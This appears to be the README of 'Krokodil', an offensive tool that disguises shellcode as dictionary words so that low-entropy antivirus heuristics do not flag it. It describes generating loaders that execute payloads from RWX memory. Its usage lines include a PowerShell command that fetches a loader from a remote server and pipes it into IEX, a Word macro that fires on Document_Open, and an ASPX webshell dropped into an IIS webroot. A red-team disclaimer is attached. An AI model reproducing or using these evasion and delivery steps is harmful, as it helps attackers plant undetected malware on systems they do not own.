.-._ _ _ _ _ _ _ _ _ _ _ _ _ _
.-''-.____.-'OO '-' ' ' ' ' ' ' '--.
'._____ ' . .--_'-' '-' '-' '-' _'-' '._
V:::V 'vv-' '_ '. .' _..' '. '.
'=.______.=_.-' :_.____.____: '. : :
(((((__.--' `-. \ : :
Krokodil (((((-'\.' /
_____..' .'
'-._____.-'
by Krokodll
Shellcode obfuscation through dictionary-word substitution. Each byte maps to a word. The decoder lives inline in the generated stub. No external dependencies at runtime, no network calls, no obvious byte strings.
Same idea as IP/MAC/UUID encoding - except the output looks like natural language.
Entropy stays low. AV heuristics that key on high-entropy blobs don't trigger.
The wordlist is the key. Swap it, everything changes.
For authorized red team engagements only. Any use against systems you do not own or have explicit written permission to test is illegal.
raw shellcode → hex bytes → word substitution → C# / C++ / PS / VBA / ASPX stub
256 words, shuffled, mapped one-to-one to 0x00–0xff. The stub embeds the mapping and decodes at runtime before executing from an RWX allocation.
pip install .krokodil encode <payload.bin> -f <format> [-w wordlist] [-o output]
krokodil list
| Format | Output |
|---|---|
cs |
C# - compiled dropper via csc.exe |
cpp |
C++ - Visual Studio / cl.exe |
psh |
PowerShell - in-memory via IEX |
vba |
VBA macro - Document_Open entry |
aspx |
ASPX webshell - IIS drop |
Wordlist: interactive prompt if -w is omitted. Any file with 256+ words works. HTTPS remote sources supported.
C#
krokodil encode payload.bin -f cs
csc.exe /target:library /platform:x64 /out:implant.dll output.cs
C++
krokodil encode payload.bin -f cpp
# cl.exe /O2 output.cpp or drop into VS project, x64 Release
PowerShell
krokodil encode payload.bin -f psh -o loader.ps1
iwr http://<server>/loader.ps1 | IEX
VBA
krokodil encode payload.bin -f vba
# Word → Developer → paste → Document_Open fires on open
ASPX
krokodil encode payload.bin -f aspx
# Drop to IIS webroot, request it
20 languages bundled. Russian, English, Arabic, Chinese-adjacent scripts - pick whatever fits the lingual profile you want in the binary.
Custom: one word per line, minimum 256. The wordlist is never embedded in the output - only the shuffled mapping is.
See LICENSE.